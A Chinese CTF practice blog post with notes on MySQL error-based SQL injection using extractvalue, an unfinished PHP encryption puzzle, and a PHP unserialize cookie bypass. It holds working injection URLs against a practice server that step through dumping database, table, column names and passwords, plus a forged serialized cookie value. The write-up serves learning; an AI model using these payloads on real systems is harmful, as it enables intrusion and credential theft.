13th-day

 · 2019-8-12 · 次阅读


  关于报错注入的一些小总结:MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml.ExtractValue() 使用XPath表示法从XML字符串中提取值
UpdateXML() 返回替换的XML片段
举例其用法:
emsp; 先从爆库开始:
http://219.153.49.228:49919/new\_list.php?id=1' and extractvalue(1,concat(0x7e,(database()),0x7e))--+
emsp; 然后开始爆表:
http://219.153.49.228:49919/new\_list.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1 ),0x7e))--+
  然后开始爆表里的字段:
http://219.153.49.228:49919/new\_list.php?id=1%27%20and%20extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’member’ ),0x7e))–+
emsp; 最后爆表里的数据:
http://219.153.49.228:49919/new\_list.php?id=1%27%20and%20extractvalue(1,concat(0x7e,(select group_concat(password) from member ),0x7e))–+
emsp; 基本上就是and extractvalue(1,concat(0x7e,(查询语句),0x7e))最后可以用–+,也就是注释加符号的用法隔开最后的引号。
37.PHP_encrypt_1(ISCCCTF)
  这道题没有链接,进去只有一个fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
和一个文件,先将这个base64解密看一下。解码以后是乱码,先不管这个打开提示文件看一下。解压后是一个php文件,本地运行看一下。这儿由于它叫index.php因而直接打开了打开后是空白的,直接看代码如下所示:

上诉ord是返回字符串首字母的ascii值,然后strlen是返回字符串的长度。整个函数是一个加密函数,首先key的值是ISCC的md5加密,
md5(ISCC,32) = 729623334f0aa2784a1599fd374c120d
md5(ISCC,16) = 4f0aa2784a1599fd
这里有两种长度,但php的md5运行后是32位的因而舍弃16位情况。那么klen=32,data可能就是给出的那个数据是52位。现在直接将数字带入进去运行php试试。在一顿操作猛如虎后发现并没有效,在查看他人大量博文后发现自己理解错了题目意思,这道题是让自己写出解密函数按照加密函数的逆解出给出长串密文的对应明文即为key,由于个人能力不足此题暂放,后面来补。
38.flag.php(http://123.206.87.240:8002/flagphp/)
  进入页面后发现是一个登陆框,但是任意输入数字点了登陆没反应,我想抓包试试。我发现这个Login可能本来就是个假的提交框,按了之后没有任何反应BP也接受不到提交包。题目最开始提示了一个hint,这个Hint就是暗示的意思但是去哪里找hint以及它是用来做什么的呢。
input value=”Login” type=”button”源代码中可以看到这就是个按钮框没有提交作用。再看哈有没有其他线索。一切都只给了一个hint,这种登陆框一般是sql注入,hint难道是用来传参的像id一样?试试/?hint=1,居然给出了大片的源代码。好了应该是代码审计了。
error_reporting(0);
include_once(“flag.php”);
$cookie = $_COOKIE[‘ISecer’];
if(isset($_GET[‘hint’])){
show_source(_FILE_);
}
elseif (unserialize($cookie) === “$KEY”)
{
echo “$flag”;
}

也就是如果cookie的反序列化=key就输出flag.之前有做过反序列化的题,先去温习一哈。由于下面是一个单独的PHP因而上面的$key=””,因而先求的””的序列化为s:0:””;由于;再cookie中是不会正确上传到服务器的因而可以使用其Url编码%3B或者不写;进入BP后添加Cookie: ISecer=
s:0:””发包即可获得flag.
  summary: 这道题主要要理清序列化和反序列化的关系,将一个序列化的东西再反序列化得到的就是序列化之前的东西,理解了这一点这道理就迎刃而解了。